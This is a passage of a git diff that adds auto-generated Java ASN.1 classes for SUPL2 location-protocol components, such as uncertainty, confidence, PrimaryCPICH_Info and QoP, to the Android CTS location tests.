+ public uncertaintyType.uncertaintySemiMajorType setUncertaintySemiMajorToNewInstance() {
+ uncertaintySemiMajor_ = new uncertaintyType.uncertaintySemiMajorType();
+ return uncertaintySemiMajor_;
+ }
+
+ private uncertaintyType.uncertaintySemiMinorType uncertaintySemiMinor_;
+ public uncertaintyType.uncertaintySemiMinorType getUncertaintySemiMinor() {
+ return uncertaintySemiMinor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a uncertaintyType.uncertaintySemiMinorType
+ */
+ public void setUncertaintySemiMinor(Asn1Object value) {
+ this.uncertaintySemiMinor_ = (uncertaintyType.uncertaintySemiMinorType) value;
+ }
+ public uncertaintyType.uncertaintySemiMinorType setUncertaintySemiMinorToNewInstance() {
+ uncertaintySemiMinor_ = new uncertaintyType.uncertaintySemiMinorType();
+ return uncertaintySemiMinor_;
+ }
+
+ private uncertaintyType.orientationMajorAxisType orientationMajorAxis_;
+ public uncertaintyType.orientationMajorAxisType getOrientationMajorAxis() {
+ return orientationMajorAxis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a uncertaintyType.orientationMajorAxisType
+ */
+ public void setOrientationMajorAxis(Asn1Object value) {
+ this.orientationMajorAxis_ = (uncertaintyType.orientationMajorAxisType) value;
+ }
+ public uncertaintyType.orientationMajorAxisType setOrientationMajorAxisToNewInstance() {
+ orientationMajorAxis_ = new uncertaintyType.orientationMajorAxisType();
+ return orientationMajorAxis_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUncertaintySemiMajor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUncertaintySemiMajor();
+ }
+
+ @Override public void setToNewInstance() {
+ setUncertaintySemiMajorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? uncertaintyType.uncertaintySemiMajorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uncertaintySemiMajor : "
+ + getUncertaintySemiMajor().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUncertaintySemiMinor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUncertaintySemiMinor();
+ }
+
+ @Override public void setToNewInstance() {
+ setUncertaintySemiMinorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? uncertaintyType.uncertaintySemiMinorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uncertaintySemiMinor : "
+ + getUncertaintySemiMinor().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getOrientationMajorAxis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOrientationMajorAxis();
+ }
+
+ @Override public void setToNewInstance() {
+ setOrientationMajorAxisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? uncertaintyType.orientationMajorAxisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "orientationMajorAxis : "
+ + getOrientationMajorAxis().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class uncertaintySemiMajorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_uncertaintySemiMajorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public uncertaintySemiMajorType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_uncertaintySemiMajorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_uncertaintySemiMajorType != null) {
+ return ImmutableList.of(TAG_uncertaintySemiMajorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new uncertaintySemiMajorType from encoded stream.
+ */
+ public static uncertaintySemiMajorType fromPerUnaligned(byte[] encodedBytes) {
+ uncertaintySemiMajorType result = new uncertaintySemiMajorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new uncertaintySemiMajorType from encoded stream.
+ */
+ public static uncertaintySemiMajorType fromPerAligned(byte[] encodedBytes) {
+ uncertaintySemiMajorType result = new uncertaintySemiMajorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "uncertaintySemiMajorType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class uncertaintySemiMinorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_uncertaintySemiMinorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public uncertaintySemiMinorType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_uncertaintySemiMinorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_uncertaintySemiMinorType != null) {
+ return ImmutableList.of(TAG_uncertaintySemiMinorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new uncertaintySemiMinorType from encoded stream.
+ */
+ public static uncertaintySemiMinorType fromPerUnaligned(byte[] encodedBytes) {
+ uncertaintySemiMinorType result = new uncertaintySemiMinorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new uncertaintySemiMinorType from encoded stream.
+ */
+ public static uncertaintySemiMinorType fromPerAligned(byte[] encodedBytes) {
+ uncertaintySemiMinorType result = new uncertaintySemiMinorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "uncertaintySemiMinorType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class orientationMajorAxisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_orientationMajorAxisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public orientationMajorAxisType() {
+ super();
+ setValueRange("0", "180");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_orientationMajorAxisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_orientationMajorAxisType != null) {
+ return ImmutableList.of(TAG_orientationMajorAxisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new orientationMajorAxisType from encoded stream.
+ */
+ public static orientationMajorAxisType fromPerUnaligned(byte[] encodedBytes) {
+ orientationMajorAxisType result = new orientationMajorAxisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new orientationMajorAxisType from encoded stream.
+ */
+ public static orientationMajorAxisType fromPerAligned(byte[] encodedBytes) {
+ orientationMajorAxisType result = new orientationMajorAxisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "orientationMajorAxisType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("uncertaintyType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class confidenceType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_confidenceType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public confidenceType() {
+ super();
+ setValueRange("0", "100");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_confidenceType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_confidenceType != null) {
+ return ImmutableList.of(TAG_confidenceType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new confidenceType from encoded stream.
+ */
+ public static confidenceType fromPerUnaligned(byte[] encodedBytes) {
+ confidenceType result = new confidenceType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new confidenceType from encoded stream.
+ */
+ public static confidenceType fromPerAligned(byte[] encodedBytes) {
+ confidenceType result = new confidenceType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "confidenceType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PositionEstimate = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java
new file mode 100755
index 0000000..673401f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PrimaryCCPCH_RSCP extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_PrimaryCCPCH_RSCP
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PrimaryCCPCH_RSCP() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PrimaryCCPCH_RSCP;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PrimaryCCPCH_RSCP != null) {
+ return ImmutableList.of(TAG_PrimaryCCPCH_RSCP);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PrimaryCCPCH_RSCP from encoded stream.
+ */
+ public static PrimaryCCPCH_RSCP fromPerUnaligned(byte[] encodedBytes) {
+ PrimaryCCPCH_RSCP result = new PrimaryCCPCH_RSCP();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PrimaryCCPCH_RSCP from encoded stream.
+ */
+ public static PrimaryCCPCH_RSCP fromPerAligned(byte[] encodedBytes) {
+ PrimaryCCPCH_RSCP result = new PrimaryCCPCH_RSCP();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "PrimaryCCPCH_RSCP = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCPICH_Info.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCPICH_Info.java
new file mode 100755
index 0000000..8344a46
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCPICH_Info.java
@@ -0,0 +1,306 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PrimaryCPICH_Info extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PrimaryCPICH_Info
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PrimaryCPICH_Info() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PrimaryCPICH_Info;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PrimaryCPICH_Info != null) {
+ return ImmutableList.of(TAG_PrimaryCPICH_Info);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PrimaryCPICH_Info from encoded stream.
+ */
+ public static PrimaryCPICH_Info fromPerUnaligned(byte[] encodedBytes) {
+ PrimaryCPICH_Info result = new PrimaryCPICH_Info();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PrimaryCPICH_Info from encoded stream.
+ */
+ public static PrimaryCPICH_Info fromPerAligned(byte[] encodedBytes) {
+ PrimaryCPICH_Info result = new PrimaryCPICH_Info();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PrimaryCPICH_Info.primaryScramblingCodeType primaryScramblingCode_;
+ public PrimaryCPICH_Info.primaryScramblingCodeType getPrimaryScramblingCode() {
+ return primaryScramblingCode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrimaryCPICH_Info.primaryScramblingCodeType
+ */
+ public void setPrimaryScramblingCode(Asn1Object value) {
+ this.primaryScramblingCode_ = (PrimaryCPICH_Info.primaryScramblingCodeType) value;
+ }
+ public PrimaryCPICH_Info.primaryScramblingCodeType setPrimaryScramblingCodeToNewInstance() {
+ primaryScramblingCode_ = new PrimaryCPICH_Info.primaryScramblingCodeType();
+ return primaryScramblingCode_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPrimaryScramblingCode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPrimaryScramblingCode();
+ }
+
+ @Override public void setToNewInstance() {
+ setPrimaryScramblingCodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrimaryCPICH_Info.primaryScramblingCodeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "primaryScramblingCode : "
+ + getPrimaryScramblingCode().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class primaryScramblingCodeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_primaryScramblingCodeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public primaryScramblingCodeType() {
+ super();
+ setValueRange("0", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_primaryScramblingCodeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_primaryScramblingCodeType != null) {
+ return ImmutableList.of(TAG_primaryScramblingCodeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new primaryScramblingCodeType from encoded stream.
+ */
+ public static primaryScramblingCodeType fromPerUnaligned(byte[] encodedBytes) {
+ primaryScramblingCodeType result = new primaryScramblingCodeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new primaryScramblingCodeType from encoded stream.
+ */
+ public static primaryScramblingCodeType fromPerAligned(byte[] encodedBytes) {
+ primaryScramblingCodeType result = new primaryScramblingCodeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "primaryScramblingCodeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PrimaryCPICH_Info = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/QoP.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/QoP.java
new file mode 100755
index 0000000..da8f782
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/QoP.java
@@ -0,0 +1,729 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class QoP extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_QoP
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public QoP() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_QoP;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_QoP != null) {
+ return ImmutableList.of(TAG_QoP);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new QoP from encoded stream.
+ */
+ public static QoP fromPerUnaligned(byte[] encodedBytes) {
+ QoP result = new QoP();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new QoP from encoded stream.
+ */
+ public static QoP fromPerAligned(byte[] encodedBytes) {
+ QoP result = new QoP();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private QoP.horaccType horacc_;
+ public QoP.horaccType getHoracc() {
+ return horacc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a QoP.horaccType
+ */
+ public void setHoracc(Asn1Object value) {
+ this.horacc_ = (QoP.horaccType) value;
+ }
+ public QoP.horaccType setHoraccToNewInstance() {
+ horacc_ = new QoP.horaccType();
+ return horacc_;
+ }
+
+ private QoP.veraccType veracc_;
+ public QoP.veraccType getVeracc() {
+ return veracc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a QoP.veraccType
+ */
+ public void setVeracc(Asn1Object value) {
+ this.veracc_ = (QoP.veraccType) value;
+ }
+ public QoP.veraccType setVeraccToNewInstance() {
+ veracc_ = new QoP.veraccType();
+ return veracc_;
+ }
+
+ private QoP.maxLocAgeType maxLocAge_;
+ public QoP.maxLocAgeType getMaxLocAge() {
+ return maxLocAge_;
+ }
+ /**
+ * @throws ClassCastException if value is not a QoP.maxLocAgeType
+ */
+ public void setMaxLocAge(Asn1Object value) {
+ this.maxLocAge_ = (QoP.maxLocAgeType) value;
+ }
+ public QoP.maxLocAgeType setMaxLocAgeToNewInstance() {
+ maxLocAge_ = new QoP.maxLocAgeType();
+ return maxLocAge_;
+ }
+
+ private QoP.delayType delay_;
+ public QoP.delayType getDelay() {
+ return delay_;
+ }
+ /**
+ * @throws ClassCastException if value is not a QoP.delayType
+ */
+ public void setDelay(Asn1Object value) {
+ this.delay_ = (QoP.delayType) value;
+ }
+ public QoP.delayType setDelayToNewInstance() {
+ delay_ = new QoP.delayType();
+ return delay_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
